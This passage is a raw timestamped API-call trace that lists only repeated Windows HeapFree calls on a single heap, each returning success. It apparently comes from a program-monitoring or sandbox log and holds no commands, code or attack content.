[0155.091] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.092] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.092] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.092] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.450] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.457] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.457] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.457] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.459] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.459] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.459] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.460] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.460] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.460] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.462] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.462] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.462] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.462] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.462] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.462] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.876] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.878] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.879] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.879] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.879] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.881] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.881] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.881] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.883] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.883] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.883] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.895] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.897] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.897] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.897] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.900] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.901] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0155.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0155.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.911] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.303] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.306] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.306] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.308] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.309] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.309] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.309] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.313] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.313] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.313] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.313] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.313] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.313] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.314] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.314] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.315] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.315] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0156.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0156.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0156.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0156.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0156.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.456] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.457] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.457] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0156.467] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.471] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.471] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0156.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0156.534] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.535] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.535] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0156.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0156.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0156.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.771] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.798] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.801] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.801] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.803] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.830] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0156.830] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0156.830] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.830] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.832] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.832] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0157.187] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.188] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.188] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0157.191] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.192] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.192] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0157.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.196] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.196] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.197] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.198] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.200] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.200] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.200] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0157.203] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0157.204] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.205] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.207] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0157.207] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.207] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.207] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.208] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.208] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.208] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0157.213] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.215] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.215] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.391] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0157.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0157.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0157.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426df60 | out: hHeap=0x660000) returned 1 [0157.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426df60 | out: hHeap=0x660000) returned 1 [0157.439] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425df58 | out: hHeap=0x660000) returned 1 [0157.439] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424df50 | out: hHeap=0x660000) returned 1 [0157.440] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0157.440] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0157.440] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0157.442] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0157.442] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0157.443] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0157.443] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0157.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0157.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0157.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0157.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0157.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.955] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0157.955] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.957] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.957] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.957] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.958] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.960] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0157.960] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.961] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.962] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.962] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0157.962] 